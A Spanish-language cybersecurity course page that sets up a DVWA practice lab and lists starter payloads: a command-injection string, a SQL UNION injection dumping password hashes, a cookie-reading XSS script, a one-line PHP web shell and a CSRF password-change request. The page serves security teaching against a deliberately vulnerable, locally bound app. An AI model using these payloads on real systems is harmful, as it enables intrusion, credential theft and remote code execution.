IDF Cyber Academy
← Web Application Security

Módulo 04 de 4 · Lab · 90 min

Lab: fundamentos con DVWA

Opción principal

GitHub Codespaces

Entorno en la nube con Docker incluido. Solo requiere una cuenta de GitHub y consume la cuota gratuita personal de Codespaces. El puerto 4280 se reenvía de forma privada.

Alternativa

Docker local

Con Docker instalado, un solo comando levanta el lab en http://127.0.0.1:4280/ (enlazado a 127.0.0.1, nunca expuesto a la red).

git clone https://github.com/idefensechile/lab-dvwa.git && cd lab-dvwa && docker compose up -d

Detener: docker compose down

Ficha completa del lab: DVWA

DVWA expone cada vulnerabilidad como un módulo independiente con cuatro niveles de seguridad (low, medium, high, impossible). El nivel impossible muestra el código corregido: es la referencia de remediación.

Puesta en marcha

  1. Abrir http://127.0.0.1:4280 e ingresar con admin / password.
  2. En Setup / Reset DB, pulsar Create / Reset Database.
  3. En DVWA Security, fijar el nivel en low para comenzar.

Retos propuestos

MóduloObjetivo en nivel lowPayload de partida
Command InjectionEjecutar un comando adicional127.0.0.1; id
SQL InjectionListar usuarios y hashes' UNION SELECT user, password FROM users#
XSS (Reflected)Ejecutar JavaScript<script>alert(document.cookie)</script>
File UploadSubir y ejecutar una web shell PHP<?php system($_GET['c']); ?>
CSRFCambiar la contraseña de la víctima con un enlace?password_new=x&password_conf=x&Change=Change

Repetir cada módulo en medium y high, y comparar con el código fuente (View Source) para entender qué control se agregó y cómo se elude.